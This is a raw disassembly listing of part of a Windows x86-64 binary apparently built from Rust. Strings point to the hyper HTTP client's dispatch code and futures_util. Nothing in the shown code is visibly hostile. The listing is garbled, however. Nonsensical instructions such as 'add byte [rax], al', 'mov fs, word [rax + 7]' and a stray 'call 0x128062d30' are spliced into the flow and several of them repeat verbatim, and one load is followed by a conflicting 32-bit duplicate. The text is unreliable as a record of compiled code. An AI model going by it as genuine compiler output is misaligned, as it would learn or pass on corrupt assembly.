je 0x1400629f5
lea rax, [0x14015c7c8]
mov qword [rsp + 0x20], rax
lea rcx, str.uri_host_is_valid_header_value
lea r9, [0x14015c480]
lea r8, [rsp + 0xf10]
mov edx, 0x1e
call fcn.140122900
mov r8, rbx
lea rcx, [rsp + 0x670]
mov rdx, rdi
call fcn.140007d10
mov byte [rsp + 0x690], 0
lea rcx, [rsp + 0x390]
lea rdx, [rsp + 0x670]
call fcn.14002c240
test rax, rax
je 0x140065b3f
cmp byte [rsp + 0x120], 2
jb 0x140062aa6
mov rdi, qword [rsp + 0x128]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x148]
mov rax, qword [rsp + 0x130]
mov rdx, qword [rsp + 0x138]
mov r8, qword [rsp + 0x140]
call qword [rax + 0x10]
lea rcx, [rsp + 0x168]
mov rax, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x158]
mov r8, qword [rsp + 0x160]
call qword [rax + 0x10]
cmp byte [rsi + 0x6e0], 7
je 0x140061f29
movzx eax, byte [r13 + 0x61]
cmp al, 2
je 0x1400657ef
lea rcx, [rsi + 0x688]
test al, 1
je 0x140062b2c
cmp byte [rcx], 0
je 0x140062b31
lea rdx, [0x14015db88]
mov rdi, rcx
call fcn.1400260b0
test al, al
je 0x140062b31
mov rcx, rdi
call fcn.14002f920
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x70], r15
mov word [rsp + 0x3e], bp
cmp byte [r13 + 0x61], 2
je 0x140065ab0
mov byte [rsi + 0x729], 0
mov rbx, qword [rsi + 0x628]
mov r14, qword [rsi + 0x630]
mov rdi, qword [rsi + 0x638]
lea rdx, [rsi + 0x640]
lea rcx, [rsp + 0x10d0]
mov r8d, 0xe8
call fcn.140121660
cmp byte [r13 + 0x40], 2
jne 0x140062c77
movzx eax, byte [0x14019f308]
mov edx, 0x140
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140065ae0
mov rbp, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x30], 0
mov qword [rax + 0x40], 5
lock inc qword [rax]
jle case.0x14005f8a0.2
add r13, 0x38
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], r14
mov qword [rsp + 0x130], rdi
lea rcx, [rsp + 0x138]
lea rdx, [rsp + 0x10d0]
mov r8d, 0xe8
call fcn.140121660
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x228], 1
mov qword [rsp + 0x230], rbp
lea rcx, [rsp + 0x390]
lea r8, [rsp + 0x120]
mov rdx, r13
call fcn.140070980
mov r14, qword [rsp + 0x490]
cmp r14, 3
jne 0x140062d98
mov r12d, 6
mov r14d, 1
xor r15d, r15d
xor r13d, r13d
lea rdx, [rsp + 0x120]
jmp 0x1400633da
mov rcx, qword [r13 + 0x30]
xor edx, edx
mov eax, 1
lock cmpxchg qword [rcx + 0x10], rdx
je 0x140062cb0
cmp byte [r13 + 0x40], 1
jne 0x140062cb0
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x40], rdi
lea rcx, [rsp + 0x1670]
lea rdx, [rsp + 0x10d0]
jmp 0x14006332d
mov byte [r13 + 0x40], 1
movzx eax, byte [0x14019f308]
mov edx, 0x140
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140065ae0
mov rbp, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x30], 0
mov qword [rax + 0x40], 5
lock inc qword [rax]
jle case.0x14005f8a0.2
add r13, 0x38
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], r14
mov qword [rsp + 0x130], rdi
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x138]
lea rdx, [rsp + 0x10d0]
mov r8d, 0xe8
call 0x128062d30
sub al, 0xe9
or eax, dword [rax]
call 0x128062d30
sub al, 0xe9
or eax, dword [rax]
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x228], 1
mov qword [rsp + 0x230], rbp
lea rcx, [rsp + 0x390]
lea r8, [rsp + 0x120]
mov rdx, r13
mov rbx, r8
call fcn.140070980
mov r12, qword [rsp + 0x490]
cmp r12, 3
jne 0x140062f88
mov r12d, 6
xor r14d, r14d
xor r15d, r15d
xor r13d, r13d
mov rdx, rbx
jmp 0x1400633da
mov rdi, qword [rsp + 0x390]
mov r15, qword [rsp + 0x398]
mov rbx, qword [rsp + 0x3a0]
lea rdx, [rsp + 0x3a8]
lea rcx, [rsp + 0x670]
mov r8d, 0xe8
call fcn.140121660
movdqu xmm0, xmmword [rsp + 0x498]
movdqa xmmword [rsp + 0x8d0], xmm0
mov rax, qword [rbp + 0x30]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rbp + 0x30], rcx
jne 0x140062df0
and eax, 0xa
cmp eax, 8
jne 0x140062f53
mov rax, qword [rbp + 0x10]
mov rcx, qword [rbp + 0x18]
call qword [rax + 0x10]
lock dec qword [rbp]
je 0x140062f5e
cmp r14d, 2
je 0x140062f70
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x120], rdi
mov qword [rsp + 0x128], r15
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x130], rbx
lea rcx, [rsp + 0x138]
lea rdi, [rsp + 0x670]
mov r8d, 0xe8
mov rdx, rdi
call fcn.140121660
lea rbx, [rsp + 0x220]
mov qword [rsp + 0x220], r14
movdqa xmm0, xmmword [rsp + 0x8d0]
movdqu xmmword [rsp + 0x228], xmm0
lea rcx, [rsp + 0x390]
mov r8d, 0xe8
mov rdx, rdi
call fcn.140121660
mov rcx, rbx
call fcn.1400cc460
mov rax, qword [rsp + 0x228]
test byte [rsp + 0x220], 1
mov qword [rsp + 0x30], r15
je 0x140063178
test rax, rax
mov rbx, qword [rsp + 0x40]
je 0x1400631ed
mov rdx, qword [rsp + 0x230]
test rdx, rdx
je 0x1400631ed
mov rax, qword [rdx + 0xd0]
nop dword [rax]
mov rcx, rax
test cl, 4
jne 0x140062f0d
mov r8, rcx
or r8, 2
mov rax, rcx
lock cmpxchg qword [rdx + 0xd0], r8
jne 0x140062ef0
and ecx, 5
cmp ecx, 1
jne 0x140062f26
mov rax, qword [rdx + 0xc0]
mov rcx, qword [rdx + 0xc8]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x230]
test rax, rax
je 0x1400631ed
lock dec qword [rax]
jne 0x1400631ed
mov rcx, qword [rsp + 0x230]
call fcn.1400cb830
jmp 0x1400631ed
lock dec qword [rbp]
jne 0x140062e21
mov rcx, rbp
call fcn.1400cae10
cmp r14d, 2
jne 0x140062e2b
lea rcx, str.envelope_not_dropped
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientdispatch.rs
mov edx, 0x14
call fcn.140122a20
mov rbx, qword [rsp + 0x390]
mov r14, qword [rsp + 0x398]
mov rdi, qword [rsp + 0x3a0]
lea rdx, [rsp + 0x3a8]
lea rcx, [rsp + 0x670]
mov r8d, 0xe8
call fcn.140121660
movdqu xmm0, xmmword [rsp + 0x498]
movdqa xmmword [rsp + 0x8d0], xmm0
mov rax, qword [rbp + 0x30]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rbp + 0x30], rcx
jne 0x140062fe0
and eax, 0xa
cmp eax, 8
jne 0x140063143
mov rax, qword [rbp + 0x10]
mov rcx, qword [rbp + 0x18]
call qword [rax + 0x10]
lock dec qword [rbp]
je 0x14006314e
cmp r12d, 2
je 0x140063160
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x128], r14
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x130], rdi
lea rcx, [rsp + 0x138]
lea rdi, [rsp + 0x670]
mov r8d, 0xe8
mov rdx, rdi
call fcn.140121660
lea r14, [rsp + 0x220]
mov qword [rsp + 0x220], r12
movdqa xmm0, xmmword [rsp + 0x8d0]
movdqu xmmword [rsp + 0x228], xmm0
lea rcx, [rsp + 0x390]
mov r8d, 0xe8
mov rdx, rdi
call fcn.140121660
mov rcx, r14
call fcn.1400cc460
mov rax, qword [rsp + 0x228]
test byte [rsp + 0x220], 1
add al, byte [rax]
add byte [rcx], al
add al, byte [rax]
add byte [rcx], al
je 0x1400632b8
test rax, rax
je 0x14006331d
mov rdx, qword [rsp + 0x230]
mov edx, dword [rsp + 0x230]
test rdx, rdx
je 0x14006331d
mov rax, qword [rdx + 0xd0]
nop word cs:[rax + rax]
mov rcx, rax
test cl, 4
jne 0x1400630fd
mov r8, rcx
or r8, 2
mov rax, rcx
lock cmpxchg qword [rdx + 0xd0], r8
jne 0x1400630e0
and ecx, 5
cmp ecx, 1
jne 0x140063116
mov rax, qword [rdx + 0xc0]
mov rcx, qword [rdx + 0xc8]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x230]
test rax, rax
je 0x14006331d
lock dec qword [rax]
jne 0x14006331d
mov rcx, qword [rsp + 0x230]
call fcn.1400cb830
jmp 0x14006331d
lock dec qword [rbp]
jne 0x140063011
mov rcx, rbp
call fcn.1400cae10
cmp r12d, 2
jne 0x14006301b
lea rcx, str.envelope_not_dropped
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientdispatch.rs
mov edx, 0x14
call fcn.140122a20
test rax, rax
mov rbx, qword [rsp + 0x40]
je 0x1400631ed
mov rdx, qword [rsp + 0x230]
test rdx, rdx
je 0x1400631ed
mov rax, qword [rdx + 0x30]
nop word cs:[rax + rax]
mov rcx, rax
test cl, 4
jne 0x1400631ba
mov r8, rcx
or r8, 2
mov rax, rcx
lock cmpxchg qword [rdx + 0x30], r8
jne 0x1400631a0
and ecx, 5
cmp ecx, 1
jne 0x1400631cd
mov rax, qword [rdx + 0x20]
mov rcx, qword [rdx + 0x28]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x230]
test rax, rax
je 0x1400631ed
lock dec qword [rax]
jne 0x1400631ed
mov rcx, qword [rsp + 0x230]
call fcn.1400cae10
lea rcx, [rsp + 0x1758]
lea rdx, [rsp + 0x390]
mov r8d, 0xe8
call fcn.140121660
xor r15d, r15d
mov r12d, 6
mov r14d, 1
mov r13d, 0
mov rbp, qword [rsp + 0x30]
cmp rbx, 3
lea rdx, [rsp + 0x120]
je 0x1400633da
movzx eax, byte [0x14019f308]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140065b07
mov rdi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 4
lea rdx, str.connection_was_not_readydispatch_dropped_without_returning_error
mov r8d, 0x18
mov rcx, rax
call fcn.1400a8460
lea rbx, [rsp + 0x120]
lea rdx, [rsp + 0x1758]
mov r8d, 0xe8
mov rcx, rbx
call fcn.140121660
mov rdx, rbx
mov r14d, 1
mov r15d, 1
mov r12, qword [rsp + 0x40]
mov r13, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x60]
jmp 0x1400633da
test rax, rax
je 0x14006331d
mov rdx, qword [rsp + 0x230]
test rdx, rdx
je 0x14006331d
mov rax, qword [rdx + 0x30]
nop
mov rcx, rax
test cl, 4
jne 0x1400632ea
mov r8, rcx
or r8, 2
mov rax, rcx
lock cmpxchg qword [rdx + 0x30], r8
jne 0x1400632d0
and ecx, 5
cmp ecx, 1
jne 0x1400632fd
mov rax, qword [rdx + 0x20]
mov rcx, qword [rdx + 0x28]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x230]
test rax, rax
je 0x14006331d
lock dec qword [rax]
jne 0x14006331d
mov rcx, qword [rsp + 0x230]
call fcn.1400cae10
lea rcx, [rsp + 0x1670]
lea rdx, [rsp + 0x390]
mov r8d, 0xe8
call fcn.140121660
xor r14d, r14d
lea rdx, [rsp + 0x120]
mov r12d, 6
mov r15d, 0
mov r13d, 0
mov rbp, qword [rsp + 0x30]
cmp rbx, 3
je 0x1400633da
movzx eax, byte [0x14019f308]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140065b07
mov rdi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 4
lea rdx, str.connection_was_not_readydispatch_dropped_without_returning_error
mov r8d, 0x18
mov rcx, rax
call fcn.1400a8460
lea r14, [rsp + 0x120]
lea rdx, [rsp + 0x1670]
mov r8d, 0xe8
mov rcx, r14
call fcn.140121660
mov rdx, r14
mov r15d, 1
xor r14d, r14d
mov r12, rbx
mov r13, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
lea rbx, [rsp + 0xf10]
mov r8d, 0xe8
mov rcx, rbx
call fcn.140121660
mov qword [rsi + 0x7a8], r14
mov qword [rsi + 0x7b0], r15
mov qword [rsi + 0x7b8], rdi
mov qword [rsi + 0x7c0], r12
mov qword [rsi + 0x7c8], r13
mov qword [rsi + 0x7d0], rbp
lea rcx, [rsi + 0x7d8]
mov r8d, 0xe8
mov rdx, rbx
call fcn.140121660
mov r12, qword [rsp + 0x48]
lea rdi, [rsi + 0x7a8]
lea rax, [rsi + 0x7b8]
mov qword [rsp + 0x30], rax
test r14b, 1
je 0x1400637ba
test byte [rsi + 0x7b0], 1
jne 0x1400637c7
mov qword [rsp + 0x60], rdi
lea rbp, [rsi + 0x7d0]
lea rdi, [rsp + 0x130]
lea rax, [rsi + 0x7c8]
mov qword [rsp + 0x40], rax
lea r14, [rsi + 0x868]
mov qword [rsp + 0x48], rsi
mov r13, qword [rsi + 0x7c0]
jmp 0x1400635d4
mov r8d, 0xa0
lea rbx, [rsp + 0x670]
mov rcx, rbx
lea rdx, [rsp + 0x390]
call fcn.140121660
mov r13d, 4
mov r12, qword [rsp + 0x8c8]
mov r8d, 0xa0
lea rsi, [rsp + 0x120]
mov rcx, rsi
mov rdx, rbx
call fcn.140121660
movaps xmm0, xmmword [rsp + 0x5d0]
movaps xmm1, xmmword [rsp + 0x5e0]
movaps xmm2, xmmword [rsp + 0x5f0]
movaps xmm3, xmmword [rsp + 0x600]
movaps xmmword [rsp + 0x390], xmm0
movaps xmmword [rsp + 0x3a0], xmm1
movaps xmmword [rsp + 0x3b0], xmm2
movaps xmmword [rsp + 0x3c0], xmm3
movaps xmm0, xmmword [rsp + 0x610]
movaps xmmword [rsp + 0x3d0], xmm0
mov rax, qword [rsp + 0x620]
mov qword [rsp + 0x3e0], rax
mov rcx, qword [rsp + 0x30]
call fcn.14005e740
mov qword [rsp + 0x8c8], r12
mov rax, qword [rsp + 0x48]
mov qword [rax + 0x7b8], r12
mov qword [rax + 0x7c0], r13
mov r8d, 0xa0
mov rcx, qword [rsp + 0x40]
mov rdx, rsi
call fcn.140121660
movaps xmm0, xmmword [rsp + 0x390]
movdqa xmm1, xmmword [rsp + 0x3a0]
movdqa xmm2, xmmword [rsp + 0x3b0]
movdqa xmm3, xmmword [rsp + 0x3c0]
movups xmmword [r14], xmm0
movdqu xmmword [r14 + 0x10], xmm1
movdqu xmmword [r14 + 0x20], xmm2
movdqu xmmword [r14 + 0x30], xmm3
movdqa xmm0, xmmword [rsp + 0x3d0]
movdqu xmmword [r14 + 0x40], xmm0
mov rax, qword [rsp + 0x3e0]
mov qword [r14 + 0x50], rax
mov r12, r15
lea rax, [r13 - 6]
cmp rax, 3
mov ecx, 1
cmovae rax, rcx
test rax, rax
jne 0x140063be7
mov rsi, qword [rsp + 0x48]
test byte [rsi + 0x7c8], 1
jne 0x14006578f
lea rcx, [rsp + 0x120]
mov rdx, rbp
mov r8, qword [rsp + 0xa8]
call fcn.14005bc50
mov r13, qword [rsp + 0x128]
cmp r13, 6
je 0x140063bc5
mov r15, r12
mov r12, qword [rsp + 0x120]
mov r8d, 0xa0
lea rcx, [rsp + 0x390]
mov rdx, rdi
call fcn.140121660
movups xmm0, xmmword [rdi + 0xa0]
movdqu xmm1, xmmword [rdi + 0xb0]
movdqu xmm2, xmmword [rdi + 0xc0]
movdqu xmm3, xmmword [rdi + 0xd0]
movaps xmmword [rsp + 0x8d0], xmm0
movdqa xmmword [rsp + 0x8e0], xmm1
movdqa xmmword [rsp + 0x8f0], xmm2
movdqa xmmword [rsp + 0x900], xmm3
movdqu xmm0, xmmword [rdi + 0xe0]
movdqa xmmword [rsp + 0x910], xmm0
mov rax, qword [rdi + 0xf0]
mov qword [rsp + 0x920], rax
test byte [rsi + 0x7c8], 1
jne 0x1400657cc
mov rcx, qword [rbp]
test rcx, rcx
je 0x140063710
mov rax, qword [rcx + 0x30]
nop word [rax + rax]
mov rdx, rax
or rdx, 4
lock cmpxchg qword [rcx + 0x30], rdx
jne 0x1400636d0
and eax, 0xa
cmp eax, 8
jne 0x1400636f2
mov rax, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x18]
call qword [rax + 0x10]
mov rax, qword [rbp]
test rax, rax
je 0x140063710
lock dec qword [rax]
jne 0x140063710
mov qword [rsi + 0x7c8], 1
cmp r13d, 4
je 0x1400634a0
cmp r13d, 5
lea rbx, [rsp + 0x670]
je 0x14006581f
mov r8d, 0xa0
mov rcx, rbx
lea rdx, [rsp + 0x390]
call fcn.140121660
movaps xmm0, xmmword [rsp + 0x8d0]
movdqa xmm1, xmmword [rsp + 0x8e0]
movdqa xmm2, xmmword [rsp + 0x8f0]
movdqa xmm3, xmmword [rsp + 0x900]
movaps xmmword [rsp + 0x5d0], xmm0
movdqa xmmword [rsp + 0x5e0], xmm1
movdqa xmmword [rsp + 0x5f0], xmm2
movdqa xmmword [rsp + 0x600], xmm3
movdqa xmm0, xmmword [rsp + 0x910]
movdqa xmmword [rsp + 0x610], xmm0
mov rax, qword [rsp + 0x920]
mov qword [rsp + 0x620], rax
jmp 0x1400634cc
test byte [rsi + 0x7b0], 1
je 0x140063871
mov r15, qword [rsi + 0x7b8]
mov r13, qword [rsi + 0x7c0]
mov qword [rsi + 0x7c0], 5
cmp r13, 5
je 0x140065aef
mov rbx, qword [rsi + 0x7c8]
mov r14, qword [rsi + 0x7d0]
lea rdx, [rsi + 0x7d8]
lea rcx, [rsp + 0x10d0]
mov r8d, 0x90
call fcn.140121660
movups xmm0, xmmword [rsi + 0x868]
movups xmm1, xmmword [rsi + 0x878]
movups xmm2, xmmword [rsi + 0x888]
movups xmm3, xmmword [rsi + 0x898]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xd0], xmm2
movaps xmmword [rsp + 0xe0], xmm3
movups xmm0, xmmword [rsi + 0x8a8]
movaps xmmword [rsp + 0xf0], xmm0
mov rax, qword [rsi + 0x8b8]
mov qword [rsp + 0x100], rax
jmp 0x140063cc8
mov qword [rsp + 0x60], rdi
lea rax, [rsi + 0x7d0]
mov qword [rsp + 0x48], rax
lea rax, [rsi + 0x7c8]
mov qword [rsp + 0x40], rax
lea r14, [rsi + 0x868]
mov r13, qword [rsi + 0x7c0]
lea rbp, [rsp + 0x120]
lea r15, [rsp + 0x670]
jmp 0x1400639cf
mov r8d, 0xa0
mov rcx, r15
lea rdx, [rsp + 0x390]
call fcn.140121660
mov r13d, 4
mov r8d, 0xa0
mov rcx, rbp
mov rdx, r15
call fcn.140121660
movaps xmm0, xmmword [rsp + 0x5d0]
movaps xmm1, xmmword [rsp + 0x5e0]
movaps xmm2, xmmword [rsp + 0x5f0]
movaps xmm3, xmmword [rsp + 0x600]
movaps xmmword [rsp + 0x390], xmm0
movaps xmmword [rsp + 0x3a0], xmm1
movaps xmmword [rsp + 0x3b0], xmm2
movaps xmmword [rsp + 0x3c0], xmm3
movaps xmm0, xmmword [rsp + 0x610]
movaps xmmword [rsp + 0x3d0], xmm0
mov rax, qword [rsp + 0x620]
mov qword [rsp + 0x3e0], rax
mov rcx, qword [rsp + 0x30]
call fcn.14005e740
mov rsi, rdi
mov qword [rdi + 0x7b8], r12
mov qword [rdi + 0x7c0], r13
mov r8d, 0xa0
mov rcx, qword [rsp + 0x40]
mov rdx, rbp
call fcn.140121660
movaps xmm0, xmmword [rsp + 0x390]
movdqa xmm1, xmmword [rsp + 0x3a0]
movdqa xmm2, xmmword [rsp + 0x3b0]
movdqa xmm3, xmmword [rsp + 0x3c0]
movups xmmword [r14], xmm0
movdqu xmmword [r14 + 0x10], xmm1
movdqu xmmword [r14 + 0x20], xmm2
movdqu xmmword [r14 + 0x30], xmm3
movdqa xmm0, xmmword [rsp + 0x3d0]
movdqu xmmword [r14 + 0x40], xmm0
mov rax, qword [rsp + 0x3e0]
mov qword [r14 + 0x50], rax
lea rax, [r13 - 6]
cmp rax, 3
mov ecx, 1
cmovae rax, rcx
test rax, rax
jne 0x140063c0a
test byte [rsi + 0x7c8], 1
jne 0x14006578f
mov rcx, rbp
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0xa8]
call fcn.14005bc50
mov r13, qword [rsp + 0x128]
cmp r13, 6
je 0x140063bc5
mov rbx, qword [rsp + 0x120]
mov r8d, 0xa0
lea rcx, [rsp + 0x390]
lea rdi, [rsp + 0x130]
mov rdx, rdi
call fcn.140121660
movups xmm0, xmmword [rdi + 0xa0]
movdqu xmm1, xmmword [rdi + 0xb0]
movdqu xmm2, xmmword [rdi + 0xc0]
movdqu xmm3, xmmword [rdi + 0xd0]
movaps xmmword [rsp + 0x8d0], xmm0
movdqa xmmword [rsp + 0x8e0], xmm1
movdqa xmmword [rsp + 0x8f0], xmm2
movdqa xmmword [rsp + 0x900], xmm3
movdqu xmm0, xmmword [rdi + 0xe0]
movdqa xmmword [rsp + 0x910], xmm0
mov rax, qword [rdi + 0xf0]
mov qword [rsp + 0x920], rax
mov rdi, rsi
test byte [rsi + 0x7c8], 1
jne 0x1400657a9
mov rax, qword [rsp + 0x48]
mov rcx, qword [rax]
test rcx, rcx
je 0x140063b20
mov rax, qword [rcx + 0x30]
nop word cs:[rax + rax]
mov rdx, rax
or rdx, 4
lock cmpxchg qword [rcx + 0x30], rdx
jne 0x140063ad0
and eax, 0xa
cmp eax, 8
jne 0x140063af2
mov rax, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x18]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x48]
mov rax, qword [rax]
test rax, rax
je 0x140063b20
lock dec qword [rax]
jne 0x140063b20
mov qword [rdi + 0x7c8], 1
cmp r13d, 4
je 0x1400638c0
cmp r13d, 5
je 0x140065807
mov r8d, 0xa0
mov rcx, r15
lea rdx, [rsp + 0x390]
call fcn.140121660
movaps xmm0, xmmword [rsp + 0x8d0]
movdqa xmm1, xmmword [rsp + 0x8e0]
movdqa xmm2, xmmword [rsp + 0x8f0]
movdqa xmm3, xmmword [rsp + 0x900]
movaps xmmword [rsp + 0x5d0], xmm0
movdqa xmmword [rsp + 0x5e0], xmm1
movdqa xmmword [rsp + 0x5f0], xmm2
movdqa xmmword [rsp + 0x600], xmm3
movdqa xmm0, xmmword [rsp + 0x910]
movdqa xmmword [rsp + 0x610], xmm0
mov rax, qword [rsp + 0x920]
mov qword [rsp + 0x620], rax
mov r12, rbx
jmp 0x1400638dc
mov al, 4
mov rcx, qword [rsp + 0xa0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5c0]
mov qword [rax], 4
mov cl, 3
jmp 0x14006475d
cmp rax, 1
mov rsi, qword [rsp + 0x48]
je 0x140063c10
lea rcx, str.Flatten_polled_after_completionC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_future_flatten.rs
lea r8, [0x1401589e8]
mov edx, 0x1f
call fcn.1401279a0
cmp rax, 1
jne 0x140063bf2
mov r15, qword [rsi + 0x7b8]
mov qword [rsi + 0x7c0], 5
cmp r13, 5
mov rdi, qword [rsp + 0x60]
je 0x140065aef
mov rbx, qword [rsi + 0x7c8]
mov r14, qword [rsi + 0x7d0]
lea rdx, [rsi + 0x7d8]
lea rcx, [rsp + 0x10d0]
mov r8d, 0x90
call fcn.140121660
movups xmm0, xmmword [rsi + 0x868]
movups xmm1, xmmword [rsi + 0x878]
movups xmm2, xmmword [rsi + 0x888]
movups xmm3, xmmword [rsi + 0x898]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xd0], xmm2
movaps xmmword [rsp + 0xe0], xmm3
movups xmm0, xmmword [rsi + 0x8a8]
movaps xmmword [rsp + 0xf0], xmm0
mov rax, qword [rsi + 0x8b8]
mov qword [rsp + 0x100], rax
mov rcx, qword [rsp + 0x30]
call fcn.14005e740
mov qword [rsi + 0x7c0], 8
lea rcx, [rsp + 0x14c0]
lea rdx, [rsp + 0x10d0]
mov r8d, 0x90
call fcn.140121660
movaps xmm0, xmmword [rsp + 0xb0]
movdqa xmm1, xmmword [rsp + 0xc0]
movdqa xmm2, xmmword [rsp + 0xd0]
movdqa xmm3, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0xb50], xmm0
movdqa xmmword [rsp + 0xb60], xmm1
movdqa xmmword [rsp + 0xb70], xmm2
movdqa xmmword [rsp + 0xb80], xmm3
movdqa xmm0, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0xb90], xmm0
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xba0], rax
mov rcx, rdi
call fcn.140066cd0
cmp r13, 4
jne 0x140063e0a
mov qword [rsp + 0x1298], r14
lea r15, [rsp + 0x12a0]
lea rdx, [rsp + 0x14c0]
mov r8d, 0x90
mov rcx, r15
call fcn.140121660
mov qword [rsp + 0x1290], rbx
cmp byte [rsi + 0x791], 2
je 0x1400657ef
lea r14, [rsi + 0x730]
mov rcx, qword [rsi + 0x778]
test rcx, rcx
je 0x140063dca
lea rdx, [rsp + 0x12f0]
mov rax, qword [rsi + 0x780]
call qword [rax + 0x20]
cmp byte [rsi + 0x791], 2
je 0x1400657ef
mov rax, qword [rsi + 0x760]
mov rax, qword [rax + 0x10]
cmp rax, 3
jne 0x140063ec6
mov rbp, qword [rsp + 0x1290]
mov r14, qword [rsp + 0x1298]
lea rcx, [rsp + 0x13a0]
mov r8d, 0x90
mov rdx, r15
call fcn.140121660
jmp 0x14006417b
movzx ebp, byte [rsi + 0x791]
cmp bpl, 2
je 0x1400657ef
mov qword [rsp + 0x60], rbx
movzx eax, byte [rsi + 0x7a0]
mov byte [rsp + 0x30], al
movzx eax, byte [rsi + 0x790]
mov byte [rsp + 0x40], al
mov rcx, qword [rsi + 0x778]
xor edi, edi
test rcx, rcx
je 0x140063e51
mov rax, qword [rsi + 0x780]
call qword [rax + 0x18]
mov rdi, rax
mov rbx, qword [rsi + 0x788]
lock inc qword [rbx]
jle case.0x14005f8a0.2
mov qword [rsp + 0x78], r14
cmp byte [r15 + 0x29], 2
je 0x14006407b
cmp byte [rsi + 0x791], 2
je 0x1400657ef
mov rbp, qword [rsp + 0x1290]
mov r14, qword [rsp + 0x1298]
lea rcx, [rsp + 0x13a0]
mov r8d, 0x90
mov rdx, r15
call fcn.140121660
lea rdi, [rsi + 0x729]
mov r13d, 4
jmp 0x140064217
add byte [rax], al
cmp r13, 3
mov r14, qword [rsp + 0x370]
je 0x140064163
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x120], rax
lea rcx, [rsp + 0x13a0]
lea rdx, [rsp + 0x14c0]
mov r8d, 0x90
call fcn.140121660
movaps xmm0, xmmword [rsp + 0xb50]
movdqa xmm1, xmmword [rsp + 0xb60]
movdqa xmm2, xmmword [rsp + 0xb70]
movdqa xmm3, xmmword [rsp + 0xb80]
movaps xmmword [rsp + 0x990], xmm0
movdqa xmmword [rsp + 0x9a0], xmm1
movdqa xmmword [rsp + 0x9b0], xmm2
movdqa xmmword [rsp + 0x9c0], xmm3
movdqa xmm0, xmmword [rsp + 0xb90]
add byte [rax], al
add byte [rax], al
movdqa xmmword [rsp + 0x9d0], xmm0
mov rax, qword [rsp + 0xba0]
mov qword [rsp + 0x9e0], rax
lea rax, [rsp + 0x390]
mov r14, qword [rsp + 0x78]
mov qword [rax], r15
mov rbp, qword [rsp + 0x120]
mov r15, qword [rsp + 0x390]
movzx ebx, byte [rsp + 0x30]
lea rcx, [rsi + 0x730]
call fcn.140083b10
lea rcx, [rsi + 0x760]
mov fs, word [rax + 7]
add byte [rax], al
mov fs, word [rax + 7]
add byte [rax], al
call fcn.14005c2b0
cmp byte [rsi + 0x730], 2
jb 0x1400641c7
mov rdi, qword [rsi + 0x738]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x758]
mov rax, qword [rsi + 0x740]
mov rdx, qword [rsi + 0x748]
mov r8, qword [rsi + 0x750]
call qword [rax + 0x10]
mov r8, qword [rsi + 0x798]
lea rax, [r8 + 1]
add dword [rax - 0x7d], ecx
clc
add cl, byte [rdi]
cmp esp, 3
add byte [rax], al
add dword [rax - 0x7d], ecx
clc
add cl, byte [rdi]
cmp esp, 3
add byte [rax], al
lea rdi, [rsi + 0x729]
cmp byte [rsi + 0x729], 0
je 0x140064217
lea rcx, [rsi + 0x628]
call fcn.140056eb0
mov byte [rdi], 0
lea rcx, [rsp + 0x1550]
lea rdx, [rsp + 0x13a0]
mov r8d, 0x90
call fcn.140121660
movaps xmm0, xmmword [rsp + 0x990]
movaps xmm1, xmmword [rsp + 0x9a0]
movaps xmm2, xmmword [rsp + 0x9b0]
